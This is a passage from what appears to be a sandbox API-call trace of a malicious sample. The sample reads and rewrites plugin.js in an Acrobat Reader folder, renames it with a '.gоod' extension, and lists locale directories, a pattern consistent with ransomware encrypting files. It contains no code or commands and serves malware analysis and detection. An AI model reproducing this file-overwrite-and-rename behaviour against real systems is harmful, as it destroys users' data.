DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugin.js", lpFilePart=0x0) returned 0x76 [0253.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0253.915] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\plugin.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0253.915] GetFileType (hFile=0x824) returned 0x1 [0253.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0253.915] GetFileType (hFile=0x824) returned 0x1 [0253.915] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x208ed4c8 | out: lpFileSizeHigh=0x208ed4c8*=0x0) returned 0x399 [0253.915] ReadFile (in: hFile=0x824, lpBuffer=0x3b9a4f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ed3f8, lpOverlapped=0x0 | out: lpBuffer=0x3b9a4f8*, lpNumberOfBytesRead=0x208ed3f8*=0x399, lpOverlapped=0x0) returned 1 [0253.916] CloseHandle (hObject=0x824) returned 1 [0253.978] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugin.js", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugin.js", lpFilePart=0x0) returned 0x76 [0253.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0253.978] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\plugin.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0253.979] GetFileType (hFile=0x824) returned 0x1 [0253.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0253.979] GetFileType (hFile=0x824) returned 0x1 [0253.979] WriteFile (in: hFile=0x824, lpBuffer=0x3a1f230*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x208ed308, lpOverlapped=0x0 | out: lpBuffer=0x3a1f230*, lpNumberOfBytesWritten=0x208ed308*=0x3a0, lpOverlapped=0x0) returned 1 [0253.979] CloseHandle (hObject=0x824) returned 1 [0253.980] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugin.js", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugin.js", lpFilePart=0x0) returned 0x76 [0253.980] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugin.js.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugin.js.gоod", lpFilePart=0x0) returned 0x7b [0253.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0253.980] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\plugin.js"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x939972ae, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3a0)) returned 1 [0253.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0253.980] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\plugin.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugin.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\plugin.js.gоod")) returned 1 [0253.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ecc90) returned 1 [0253.981] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls", nBufferLength=0x105, lpBuffer=0x208ec730, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls", lpFilePart=0x0) returned 0x70 [0253.981] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\*", lpFindFileData=0x208ec9b0 | out: lpFindFileData=0x208ec9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac20 [0255.400] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.400] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0255.401] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0255.401] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0255.401] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0255.401] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0255.401] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0255.401] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0255.402] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0255.402] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0255.402] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0255.402] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0255.402] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0255.402] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0255.402] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0255.403] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0255.403] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0255.403] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0255.403] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0255.403] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0255.403] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0255.403] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0255.404] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0255.404] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0255.404] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0255.404] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0255.404] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0255.404] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0255.405] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0255.405] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0255.405] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0255.405] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0255.405] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.405] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0255.405] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0255.406] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0255.406] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x208ec970 | out: lpFindFileData=0x208ec970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, 